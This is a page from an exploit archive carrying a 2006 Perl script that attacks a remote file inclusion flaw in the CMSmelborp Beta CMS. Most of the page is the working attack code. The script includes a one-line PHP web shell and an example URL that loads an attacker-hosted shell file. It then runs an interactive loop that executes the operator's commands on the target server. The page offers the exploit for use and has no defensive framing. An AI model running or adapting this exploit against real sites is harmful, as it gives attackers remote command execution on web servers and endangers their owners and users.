[Exploit]  [Remote]  [Local]  [Web Apps]  [Dos/Poc]  [Shellcode]  [RSS]

# Title : CMSmelborp Beta (user_standard.php) Remote File Include Exploit
# Published : 2006-11-12
# Author : DeltahackingTEAM
# Previous Title : UPublisher 1.0 (viewarticle.asp) Remote SQL Injection Vulnerability
# Next Title : StoryStream 4.0 (baseDir) Remote File Include Vulnerabilities


#!/usr/bin/perl
##
# Portal Name : CMSmelborp(user_standard.php) Remote File Inclusion Exploit
# Bug Found DeltahackingSecurityTEAM Code :Dr.Trojan&Dr.Pantagon
##
# Download =http://superb-west.dl.sourceforge.net/sourceforge/cmsmelborp/CMSmelborp.zip
#
##
# usage:
# perl CMSmelborp.pl <target> <cmd shell location> <cmd shell variable>
#
# perl CMSmelborp.pl http://[target]/[path]/includes http://site.com/cmd.txt cmd
#
# cmd shell example: <?passthru($_GET[cmd]);?>
#
# cmd shell variable: ($_GET[cmd]);
##
# #
#Greetz: Dr.Trojan , Hiv++ , D_7j ,Vpc,Str0ke
#
# Contact:dr.trojan@deltahacking.net
##
# Web Site:www.deltahacking.net(private)&www.deltahacking.ir(Puplic)
# exploit: http://site.com/includes/user_standard.php?relative_root=http://yourshell/shell.txt?&
##

use LWP::UserAgent;
$Path = $ARGV[0];
$Pathtocmd = $ARGV[1];
$cmdv = $ARGV[2];
if($Path!~/http:/// || $Pathtocmd!~/http:/// || !$cmdv){usage()}
head();
while()
{
       print "[shell] $";
while(<STDIN>)
       {
               $cmd=$_;
               chomp($cmd);
$xpl = LWP::UserAgent->new() or die;
$req = HTTP::Request->new(GET =>$Path.'includes/user_standard.php?relative_root='.$Pathtocmd.'?&'.$cmdv.'='.$cmd)or die "nCould Not connectn";
$res = $xpl->request($req);
$return = $res->content;
$return =~ tr/[n]/[.......]/;
if (!$cmd) {print "nPlease Enter a Commandnn"; $return ="";}
elsif ($return =~/failed to open stream: HTTP request failed!/ || $return =~/: Cannot execute a blank command in <b>/)
       {print "nCould Not Connect to cmd Host or Invalid Command Variablen";exit}
elsif ($return =~/^<br./>.<b>Fatal.error/) {print "nInvalid Command or No Returnnn"}
if($return =~ /(.*)/)

{
       $finreturn = $1;
       $finreturn=~ tr/[.......]/[n]/;
       print "rn$finreturnnr";
       last;
}
else {print "[shell] $";}}}last;
sub head()
 {
 print "n============================================================================rn";
 print " *We Are 1 in Iran & 4in W0rld We Server:http://takserver.ir Sec=99/99%*rn";
 print "============================================================================rn";
 }
sub usage()
 {
 head();
 print " Usage: perl CMSmelborp.pl <target> <cmd shell location> <cmd shell variable>rnn";
 print " <Site> - Full path to CMSmelborp ex: http://[target]/[path]/includes rn";
 print " <cmd shell> - Path to cmd Shell e.g http://d4wood.by.ru/cmd.gif rn";
 print " <cmd variable> - Command variable used in php shell rn";
 print "============================================================================rn";
 print "                           Bug Found DeltahackingSecurityTEAM rn";
 print "                             Iranian Are The Best In World rn";
 print "============================================================================rn";
 exit();
 }

# www.Syue.com [2006-11-12]